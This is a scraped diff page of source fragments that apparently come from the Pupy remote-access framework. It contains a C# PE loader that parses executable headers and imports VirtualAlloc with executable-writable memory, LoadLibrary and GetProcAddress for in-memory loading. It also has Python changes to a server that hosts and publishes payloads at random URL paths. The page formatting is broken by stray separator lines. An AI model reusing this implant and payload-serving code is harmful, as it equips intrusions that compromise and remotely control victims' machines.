Align1Bytes = 0x00100000,
|
||||
/// <summary>
|
||||
/// Align data on a 2-byte boundary. Valid only for object files.
|
||||
/// </summary>
|
||||
Align2Bytes = 0x00200000,
|
||||
/// <summary>
|
||||
/// Align data on a 4-byte boundary. Valid only for object files.
|
||||
/// </summary>
|
||||
Align4Bytes = 0x00300000,
|
||||
/// <summary>
|
||||
/// Align data on an 8-byte boundary. Valid only for object files.
|
||||
/// </summary>
|
||||
Align8Bytes = 0x00400000,
|
||||
/// <summary>
|
||||
/// Align data on a 16-byte boundary. Valid only for object files.
|
||||
/// </summary>
|
||||
Align16Bytes = 0x00500000,
|
||||
/// <summary>
|
||||
/// Align data on a 32-byte boundary. Valid only for object files.
|
||||
/// </summary>
|
||||
Align32Bytes = 0x00600000,
|
||||
/// <summary>
|
||||
/// Align data on a 64-byte boundary. Valid only for object files.
|
||||
/// </summary>
|
||||
Align64Bytes = 0x00700000,
|
||||
/// <summary>
|
||||
/// Align data on a 128-byte boundary. Valid only for object files.
|
||||
/// </summary>
|
||||
Align128Bytes = 0x00800000,
|
||||
/// <summary>
|
||||
/// Align data on a 256-byte boundary. Valid only for object files.
|
||||
/// </summary>
|
||||
Align256Bytes = 0x00900000,
|
||||
/// <summary>
|
||||
/// Align data on a 512-byte boundary. Valid only for object files.
|
||||
/// </summary>
|
||||
Align512Bytes = 0x00A00000,
|
||||
/// <summary>
|
||||
/// Align data on a 1024-byte boundary. Valid only for object files.
|
||||
/// </summary>
|
||||
Align1024Bytes = 0x00B00000,
|
||||
/// <summary>
|
||||
/// Align data on a 2048-byte boundary. Valid only for object files.
|
||||
/// </summary>
|
||||
Align2048Bytes = 0x00C00000,
|
||||
/// <summary>
|
||||
/// Align data on a 4096-byte boundary. Valid only for object files.
|
||||
/// </summary>
|
||||
Align4096Bytes = 0x00D00000,
|
||||
/// <summary>
|
||||
/// Align data on an 8192-byte boundary. Valid only for object files.
|
||||
/// </summary>
|
||||
Align8192Bytes = 0x00E00000,
|
||||
/// <summary>
|
||||
/// The section contains extended relocations.
|
||||
/// </summary>
|
||||
LinkExtendedRelocationOverflow = 0x01000000,
|
||||
/// <summary>
|
||||
/// The section can be discarded as needed.
|
||||
/// </summary>
|
||||
MemoryDiscardable = 0x02000000,
|
||||
/// <summary>
|
||||
/// The section cannot be cached.
|
||||
/// </summary>
|
||||
MemoryNotCached = 0x04000000,
|
||||
/// <summary>
|
||||
/// The section is not pageable.
|
||||
/// </summary>
|
||||
MemoryNotPaged = 0x08000000,
|
||||
/// <summary>
|
||||
/// The section can be shared in memory.
|
||||
/// </summary>
|
||||
MemoryShared = 0x10000000,
|
||||
/// <summary>
|
||||
/// The section can be executed as code.
|
||||
/// </summary>
|
||||
MemoryExecute = 0x20000000,
|
||||
/// <summary>
|
||||
/// The section can be read.
|
||||
/// </summary>
|
||||
MemoryRead = 0x40000000,
|
||||
/// <summary>
|
||||
/// The section can be written to.
|
||||
/// </summary>
|
||||
MemoryWrite = 0x80000000
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// The DOS header
|
||||
/// </summary>
|
||||
private IMAGE_DOS_HEADER dosHeader;
|
||||
/// <summary>
|
||||
/// The file header
|
||||
/// </summary>
|
||||
private IMAGE_FILE_HEADER fileHeader;
|
||||
/// <summary>
|
||||
/// Optional 32 bit file header
|
||||
/// </summary>
|
||||
private IMAGE_OPTIONAL_HEADER32 optionalHeader32;
|
||||
/// <summary>
|
||||
/// Optional 64 bit file header
|
||||
/// </summary>
|
||||
private IMAGE_OPTIONAL_HEADER64 optionalHeader64;
|
||||
/// <summary>
|
||||
/// Image Section headers. Number of sections is in the file header.
|
||||
/// </summary>
|
||||
private IMAGE_SECTION_HEADER[] imageSectionHeaders;
|
||||
|
||||
private byte[] rawbytes;
|
||||
|
||||
public PELoader(byte[] fileBytes)
|
||||
{
|
||||
// Read in the DLL or EXE and get the timestamp
|
||||
using (MemoryStream stream = new MemoryStream(fileBytes, 0, fileBytes.Length))
|
||||
{
|
||||
BinaryReader reader = new BinaryReader(stream);
|
||||
dosHeader = FromBinaryReader<IMAGE_DOS_HEADER>(reader);
|
||||
|
||||
// Add 4 bytes to the offset
|
||||
stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);
|
||||
|
||||
reader.ReadUInt32();
|
||||
fileHeader = FromBinaryReader<IMAGE_FILE_HEADER>(reader);
|
||||
if (this.Is32BitHeader)
|
||||
{
|
||||
optionalHeader32 = FromBinaryReader<IMAGE_OPTIONAL_HEADER32>(reader);
|
||||
}
|
||||
else
|
||||
{
|
||||
optionalHeader64 = FromBinaryReader<IMAGE_OPTIONAL_HEADER64>(reader);
|
||||
}
|
||||
|
||||
imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections];
|
||||
for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo)
|
||||
{
|
||||
imageSectionHeaders[headerNo] = FromBinaryReader<IMAGE_SECTION_HEADER>(reader);
|
||||
}
|
||||
|
||||
rawbytes = fileBytes;
|
||||
}
|
||||
}
|
||||
|
||||
public static T FromBinaryReader<T>(BinaryReader reader)
|
||||
{
|
||||
// Read in a byte array
|
||||
byte[] bytes = reader.ReadBytes(Marshal.SizeOf(typeof(T)));
|
||||
|
||||
// Pin the managed memory while, copy it out the data, then unpin it
|
||||
GCHandle handle = GCHandle.Alloc(bytes, GCHandleType.Pinned);
|
||||
T theStructure = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T));
|
||||
handle.Free();
|
||||
|
||||
return theStructure;
|
||||
}
|
||||
|
||||
public bool Is32BitHeader
|
||||
{
|
||||
get
|
||||
{
|
||||
UInt16 IMAGE_FILE_32BIT_MACHINE = 0x0100;
|
||||
return (IMAGE_FILE_32BIT_MACHINE & FileHeader.Characteristics) == IMAGE_FILE_32BIT_MACHINE;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public IMAGE_FILE_HEADER FileHeader
|
||||
{
|
||||
get
|
||||
{
|
||||
return fileHeader;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the optional header
|
||||
/// </summary>
|
||||
public IMAGE_OPTIONAL_HEADER32 OptionalHeader32
|
||||
{
|
||||
get
|
||||
{
|
||||
return optionalHeader32;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the optional header
|
||||
/// </summary>
|
||||
public IMAGE_OPTIONAL_HEADER64 OptionalHeader64
|
||||
{
|
||||
get
|
||||
{
|
||||
return optionalHeader64;
|
||||
}
|
||||
}
|
||||
|
||||
public IMAGE_SECTION_HEADER[] ImageSectionHeaders
|
||||
{
|
||||
get
|
||||
{
|
||||
return imageSectionHeaders;
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] RawBytes
|
||||
{
|
||||
get
|
||||
{
|
||||
return rawbytes;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
unsafe class NativeDeclarations
|
||||
{
|
||||
|
||||
public static uint MEM_COMMIT = 0x1000;
|
||||
public static uint MEM_RESERVE = 0x2000;
|
||||
public static uint PAGE_EXECUTE_READWRITE = 0x40;
|
||||
public static uint PAGE_READWRITE = 0x04;
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public unsafe struct IMAGE_BASE_RELOCATION
|
||||
{
|
||||
public uint VirtualAdress;
|
||||
public uint SizeOfBlock;
|
||||
}
|
||||
|
||||
[DllImport("kernel32")]
|
||||
public static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, uint size, uint flAllocationType, uint flProtect);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
|
||||
public static extern IntPtr LoadLibrary(string lpFileName);
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
|
||||
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public unsafe struct IMAGE_IMPORT_DESCRIPTOR
|
||||
{
|
||||
public uint OriginalFirstThunk;
|
||||
public uint TimeDateStamp;
|
||||
public uint ForwarderChain;
|
||||
public uint Name;
|
||||
public uint FirstThunk;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1298,6 +1298,7 @@ class PupyServer(object):
|
|||
alias = path.basename(served.name)
|
||||
|
||||
self.served_content[served.name] = alias
|
||||
self.handler.display_srvinfo(f"serving {served.name}, {url}")
|
||||
|
||||
return '/' + url
|
||||
|
||||
|
|
|
@ -187,6 +187,9 @@ class PupyWebServer(object):
|
|||
'webserver', 'static_webroot_uri', None
|
||||
) or self.random_path()
|
||||
|
||||
self.publish_payloads = self.config.getboolean(
|
||||
'webserver', 'publish_payloads'
|
||||
)
|
||||
self.preserve_payloads = self.config.getboolean(
|
||||
'webserver', 'preserve_payloads'
|
||||
)
|
||||
|
@ -301,7 +304,7 @@ class PupyWebServer(object):
|
|||
def random_path(self):
|
||||
return '/' + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in xrange(10))
|
||||
|
||||
def register_mapping(self, name):
|
||||
def register_mapping(self, name, path):
|
||||
name = self.random_path()
|
||||
self.mappings[name] = path
|
||||
if name in self.mappings:
|
||||
|
|
Loading…
Reference in New Issue